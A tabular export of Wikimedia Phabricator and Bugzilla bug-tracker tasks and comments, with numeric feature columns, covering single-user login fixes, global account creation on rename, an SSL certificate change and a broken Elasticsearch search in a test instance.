Thumbnail generation should be entirely independent of page view actions, so the scenario should definitely not matter",,,1378941647,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-5ts3ggpcjypmoohi32ft,task_subcomment,,True,c3,1,True,,,-95,True,0.0,0.0,3.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,5.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,13.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.368421052631579,0.8421052631578947,"See also bug 53573. (which was mostly mw1153)
-----
QUOTE
QUOTE
QUOTE

Thumbnail generation should be entirely independent of page view actions, so the scenario should definitely not matter"
55959,Bugzilla to use its own SSL certificate,"Mirroring RT #5011 in Bugzilla, for the sake of transparency.

https://gerrit.wikimedia.org/r/#/c/82879/

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
https://rt.wikimedia.org/Ticket/Display.html?id=5011",High,80.0,1378761000,1378768487.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,False,PHID-TASK-ycvdvmdfiqkvcznf7a7r,task_description,resolved,True,c3,1,True,False,True,-95,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.311111111111111,0.6,"Mirroring RT #5011 in Bugzilla, for the sake of transparency.

URL

--------------------------
**Version**: wmf-deployment
**Severity**: normal
**See Also**:
URL"
249629,Bugzilla to use its own SSL certificate,Merged.,,,1378768487,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-ycvdvmdfiqkvcznf7a7r,task_subcomment,,True,c3,1,True,,,-95,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Merged.
55953,Re-SUL on javascript login,"To hopefully address the situation where users are reporting issues where they are logged in on some wikis, but not others, RobLa asked that we look into re-running the SUL logic after a user is logged in with the javascript ping.

--------------------------
**Version**: master
**Severity**: enhancement",High,80.0,1378748580,1379440890.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-a64u5tzlehgfoet5cwe6,task_description,resolved,True,c3,1,True,False,True,-95,True,2.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,14.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,6.0,5.0,8.0,5.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,14.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,2.0,0.0,5.0,0.0,0.0,0.0,4.09375,0.75,"To hopefully address the situation where users are reporting issues where they are logged in on some wikis, but not others, RobLa asked that we look into re-running the SUL logic after a user is logged in with the javascript ping.

--------------------------
**Version**: master
**Severity**: enhancement"
249342,Re-SUL on javascript login,"Change 83655 merged by jenkins-bot:
Re-do edge login when JS login check succeeds

https://gerrit.wikimedia.org/r/83655",,,1379355727,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c3,1,False,,,-94,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9047619047619047,0.9047619047619048,"Change 83655 merged by jenkins-bot:
Re-do edge login when JS login check succeeds

GERRIT_URL"
249340,Re-SUL on javascript login,"Change 83655 had a related patch set uploaded by Anomie:
Re-do edge login when JS login check succeeds

https://gerrit.wikimedia.org/r/83655",,,1378831562,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c3,1,False,,,-95,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,21.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,0.9583333333333334,"Change 83655 had a related patch set uploaded by Anomie:
Re-do edge login when JS login check succeeds

GERRIT_URL"
249338,Re-SUL on javascript login,"Andre, not really.

Brad, it was more running the CentralAuthDoEdgeLogin process again, if the user was logged in from the javascript ping. The localStorage might be contributing to the problem, but if we just re-run the login, then (in theory) it shouldn't matter too much.",,,1378763738,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c3,1,True,,,-95,True,2.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,2.0,0.0,0.0,0.0,2.0,2.0,15.0,12.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,7.0,3.0,2.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,12.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,3.9152542372881354,0.7627118644067796,"Andre, not really.

Brad, it was more running the CentralAuthDoEdgeLogin process again, if the user was logged in from the javascript ping. The localStorage might be contributing to the problem, but if we just re-run the login, then (in theory) it shouldn't matter too much."
249333,Re-SUL on javascript login,"For the records: Also brought up in http://lists.wikimedia.org/pipermail/wikitech-l/2013-September/071718.html and https://de.wikipedia.org/w/index.php?title=Wikipedia:Fragen_zur_Wikipedia&oldid=122384791#Erneut_zum_Unified_Login

Wondering if the patch for bug 53536 could influence the problem. Likely not.",,,1378753695,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c3,1,True,,,-95,True,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,19.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.888888888888889,0.8518518518518519,"For the records: Also brought up in URL and URL

Wondering if the patch for bug 53536 could influence the problem. Likely not."
249328,Re-SUL on javascript login,"Clarify, please? Is this asking to try to clear the localStorage already-checked-for-login-today ""cookie"" on say frwiki from the Special:CentralLogin/setCookies pixel loaded from enwiki?",,,1378751490,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-a64u5tzlehgfoet5cwe6,task_subcomment,,True,c3,1,True,,,-95,True,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,10.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,15.0,8.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.1,0.8,"Clarify, please? Is this asking to try to clear the localStorage already-checked-for-login-today ""cookie"" on say frwiki from the Special:CentralLogin/setCookies pixel loaded from enwiki?"
55905,Create global account on login/rename,"When a user gets renamed locally to a new name, under which no global account exists and no conflicts accounts exists, the global account should be created automatically.

Maybe this can also be checked on user login, than other (or the previous renamed) user accounts without a conflict can also benefit from this. Should be part of a automigration (wgCentralAuthAutoMigrate).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=14862",High,80.0,1378630560,1430851335.0,PHID-USER-a6jwrurphpx6yl4coupk,False,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,PHID-TASK-h4tu4j445kger6aygazx,task_description,declined,True,c3,1,False,False,True,-95,True,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,1.0,2.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.171717171717172,0.5959595959595959,"When a user gets renamed locally to a new name, under which no global account exists and no conflicts accounts exists, the global account should be created automatically.

Maybe this can also be checked on user login, than other (or the previous renamed) user accounts without a conflict can also benefit from this. Should be part of a automigration (wgCentralAuthAutoMigrate).

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
458067,Create global account on login/rename,"MarcoAurelio, why are you mass-changing priorities to ""High"", as in T55905#1261952? Did you run into a bug with drag and drop in phabricator workboards? If so, please report it; I thought it was filed already, but Phabricator search is too poor for me to find it even after 30 min of searching. :(",,,1431506795,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c3,1,True,,,-8,True,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,17.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,2.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,5.0,11.0,3.0,3.0,2.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,11.0,17.0,3.0,3.0,3.0,0.0,11.0,0.0,2.0,2.0,2.0,3.0,0.0,0.0,0.0,3.769230769230769,0.8461538461538461,"MarcoAurelio, why are you mass-changing priorities to ""High"", as in T55905#1261952? Did you run into a bug with drag and drop in phabricator workboards? If so, please report it; I thought it was filed already, but Phabricator search is too poor for me to find it even after 30 min of searching. :("
454092,Create global account on login/rename,"I think this is not an issue anymore with global renames, as the global account is created when globally renaming an user. Feel free to reopen if you feel the problem still exist. Thanks.",,,1430851335,,PHID-USER-xvs3y6hf6yrfn6sxrk5d,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c3,1,True,,,-9,True,0.0,0.0,0.0,3.0,3.0,8.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,5.0,8.0,5.0,0.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,4.052631578947368,0.8421052631578947,"I think this is not an issue anymore with global renames, as the global account is created when globally renaming an user. Feel free to reopen if you feel the problem still exist. Thanks."
246758,Create global account on login/rename,"Change 102635 abandoned by Legoktm:
Autocreate global account after rename

Reason:
Not worth it at this point

https://gerrit.wikimedia.org/r/102635",,,1412924758,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c3,1,False,,,-38,True,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.541666666666667,0.875,"Change 102635 abandoned by Legoktm:
Autocreate global account after rename

Reason:
Not worth it at this point

GERRIT_URL"
246751,Create global account on login/rename,"Change 102635 had a related patch set uploaded by Legoktm:
Autocreate global account after rename

https://gerrit.wikimedia.org/r/102635",,,1387441864,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c3,1,False,,,-80,True,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.052631578947368,1.0,"Change 102635 had a related patch set uploaded by Legoktm:
Autocreate global account after rename

GERRIT_URL"
246743,Create global account on login/rename,"(In reply to comment #0)
> Maybe this can also be checked on user login, than other (or the previous
> renamed) user accounts without a conflict can also benefit from this. Should
> be
> part of a automigration (wgCentralAuthAutoMigrate).

According to the documentation of $wgCentralAuthAutoMigrate, this should already happen if it is enabled.",,,1387441778,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-h4tu4j445kger6aygazx,task_subcomment,,True,c3,1,True,,,-80,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,18.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,15.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0588235294117645,0.7941176470588235,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE

According to the documentation of $wgCentralAuthAutoMigrate, this should already happen if it is enabled."
55655,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,"They should use own messages or we run into problems even in the source language, see e.g. Change-Id: I565971a90fc383327a51d717a80013cb7a3e9c9b

--------------------------
**Version**: 1.22.0
**Severity**: normal",High,80.0,1378045020,1390505545.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-4ttfpix6slf5mw6mouj7,task_description,resolved,True,c3,1,True,False,True,-96,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,15.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,5.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.682926829268292,0.7560975609756098,"They should use own messages or we run into problems even in the source language, see e.g. Change-Id: I565971a90fc383327a51d717a80013cb7a3e9c9b

--------------------------
**Version**: 1.22.0
**Severity**: normal"
255875,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,Approved by Siebrand. Thanks!,,,1390505545,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-4ttfpix6slf5mw6mouj7,task_subcomment,,True,c3,1,True,,,-75,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Approved by Siebrand. Thanks!
255868,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,"Change 108486 merged by jenkins-bot:
Remove `login-throttled` system message reuse

https://gerrit.wikimedia.org/r/108486",,,1390504385,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ttfpix6slf5mw6mouj7,task_subcomment,,True,c3,1,False,,,-75,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5625,1.0,"Change 108486 merged by jenkins-bot:
Remove CODE system message reuse

GERRIT_URL"
255863,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,"Change 108486 had a related patch set uploaded by Microchip08:
Remove `login-throttled` system message reuse

https://gerrit.wikimedia.org/r/108486",,,1390200070,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4ttfpix6slf5mw6mouj7,task_subcomment,,True,c3,1,False,,,-76,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.947368421052632,1.0,"Change 108486 had a related patch set uploaded by Microchip08:
Remove CODE system message reuse

GERRIT_URL"
255858,Special:ChangeEmail and Special:ChangePassword reuse login-throttled,"Adding many blockers of bug 38638 to the list of ""easy"" bugs, to mark them as candidates for [[mw:Google Code-in]] tasks (gci2013). If you think this bug is not suitable, remove the keyword.",,,1384864580,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-4ttfpix6slf5mw6mouj7,task_subcomment,,True,c3,1,True,,,-85,True,2.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,8.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,16.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,6.0,3.2244897959183674,0.8163265306122449,"Adding many blockers of bug 38638 to the list of ""easy"" bugs, to mark them as candidates for [[mw:Google Code-in]] tasks (gci2013). If you think this bug is not suitable, remove the keyword."
688,"Unhandled Exception ""HTTPFutureCURLResponseStatus"" when running query in Bugzilla test import instance","Going to the preview instance's /maniphest/query/advanced/ and entering
  marked duplicate
in the ""Contains Words"" field, pressing ""Execute query"", I get:

  Unhandled Exception (""HTTPFutureCURLResponseStatus"")
  [cURL/7] (http://localhost:9200/phabricator/TASK,CMIT,MOCK,PROJ,QUES,DREV,USER,WIKI/_search)  <CURLE_COULDNT_CONNECT> 
  The cURL library raised an error while making a request. You may be able to find more information about this error (error code: 7) on 
  the cURL site: http://curl.haxx.se/libcurl/c/libcurl-errors.html#CURLECOULDNTCONNECT

Note the http instead of https.

Can anybody reproduce?

Not sure how much time we want to spend potentially fixing this and if that indicates a deeper problem or not, hence not setting priority on this task.",High,80.0,1413661637,1413914794.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-USER-3neel27i7dyu62jbbx2l,False,PHID-TASK-clqtybgrz4eacc3nmiv2,task_description,declined,True,c3,1,True,False,True,-37,True,1.0,1.0,0.0,0.0,2.5,4.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.5,0.0,5.5,7.0,1.0,1.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,2.0,2.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,13.5,1.5,1.5,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,9.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,2.0,7.0,2.5,1.0,3.0,0.0,2.0,0.0,1.0,2.0,0.0,3.5,1.5,0.0,4.0,4.0606060606060606,0.8257575757575758,"Going to the preview instance's /maniphest/query/advanced/ and entering
  marked duplicate
in the ""Contains Words"" field, pressing ""Execute query"", I get:

  Unhandled Exception (""HTTPFutureCURLResponseStatus"")
  [cURL/7] (URL  <CURLE_COULDNT_CONNECT> 
  The cURL library raised an error while making a request. You may be able to find more information about this error (error code: 7) on 
  the cURL site: URL

Note the http instead of https.

Can anybody reproduce?

Not sure how much time we want to spend potentially fixing this and if that indicates a deeper problem or not, hence not setting priority on this task."
3553,"Unhandled Exception ""HTTPFutureCURLResponseStatus"" when running query in Bugzilla test import instance",Perhaps something related with Elasticsearch default configuration in the puppet profile used to create Phabricator instances in Labs?,,,1413760724,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-clqtybgrz4eacc3nmiv2,task_subcomment,,True,c3,1,True,,,-37,True,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,21.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,21.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.157894736842105,0.9473684210526315,Perhaps something related with Elasticsearch default configuration in the puppet profile used to create Phabricator instances in Labs?
3535,"Unhandled Exception ""HTTPFutureCURLResponseStatus"" when running query in Bugzilla test import instance",">>! In T688#11757, @Qgil wrote:
> This task is simpler: search doesn't work. Just type anything in the search box and you will get this error message.

